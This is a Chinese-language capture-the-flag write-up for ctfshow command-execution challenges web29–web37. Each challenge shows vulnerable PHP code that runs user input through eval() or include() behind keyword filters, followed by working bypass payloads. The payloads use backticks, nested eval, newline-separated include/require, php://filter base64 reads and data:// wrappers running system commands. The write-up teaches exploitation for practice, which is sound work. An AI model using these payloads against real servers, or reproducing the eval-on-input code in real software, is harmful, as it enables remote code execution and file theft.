ctfshow命令执行
# ctfshow命令执行
# 题目(ctfshow)
# 1.web29(VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
过滤了 flag 关键字
知识点
eval函数可以理解为代码执行 动态执行php代码
system函数可以理解为命令执行 执行shell命令
php最后一个语句可以没有分号
- eval(phpinfo()) 无输出结果
- eval(phpinfo();)有输出结果
- eval(phpinfo()?>) 有输出结果
file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个
payload:
?c=phpinfo();
?c=system('ls');
?c=system('tac f*');
...
2
3
4


# 2.web30 (VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
php、flag、system 关键字都被过滤了,system 用不了了,可以考虑使用反引号 `` 执行系统命令
payload:
?c=`cp f* 1.txt`;

# 3.web31 (VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
flag、system、php、cat、sort、shell 、. 都被过滤了,可以使用嵌套一个eval来解决。
?c=eval($_GET[123]);&123=phpinfo(); ?c=eval($_GET[123]);&123=system('ls'); ?c=eval($_GET[123]);&123=system('tac flag');1
2
3


# 4.web32 (VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
知识点: include可以读取非php文件内容输出直接输出到页面,当使用
include包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器
这次发现 空格单引号反引号 还有括号都给禁用了 ,使用 include 读取文件内容输出直接输出到页面,%0A 是url编码中的 换行
过滤器获取到php文件的内容后生成了base64编码后的字符串,include包含进来无法判定是php代码,所以直接进行输出,然后进行解码即可
?c=include%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag1

# 5.web33(VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
多加了一个双引号 ,无影响,使用 include 方法同样有效
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag
# 6.web34(VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
这次新增了过滤 冒号 ,可使用 include ,也可使用 require 他和include效果一样,都是用于文件包含
?c=require%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag
2


# 7.web35.php(VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
又新增了 过滤了 < 和 =,依旧可使用:require 、include
?c=require%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag
2
# 8.web36.php(VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|\[1-9\]+|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
过滤了1-9
第一种方法
?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag
第二种方法
data://text/plain 是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system("cat fla*");?>
# 9.web37.php(VIP)
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
2
3
4
5
6
7
8
9
10
11
12
13
参数 c 包含一个文件 $c的值不能是 flag
payload:
?c=data://text/plain,<?php%20system("cat%20fla*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
<?php system('cat flag.php');?>data将数据传给变量c ,include包含后,数据流进行解密,然后执行代码


参考地址:
https://blog.csdn.net/m0_72125469/article/details/142095571 (opens new window)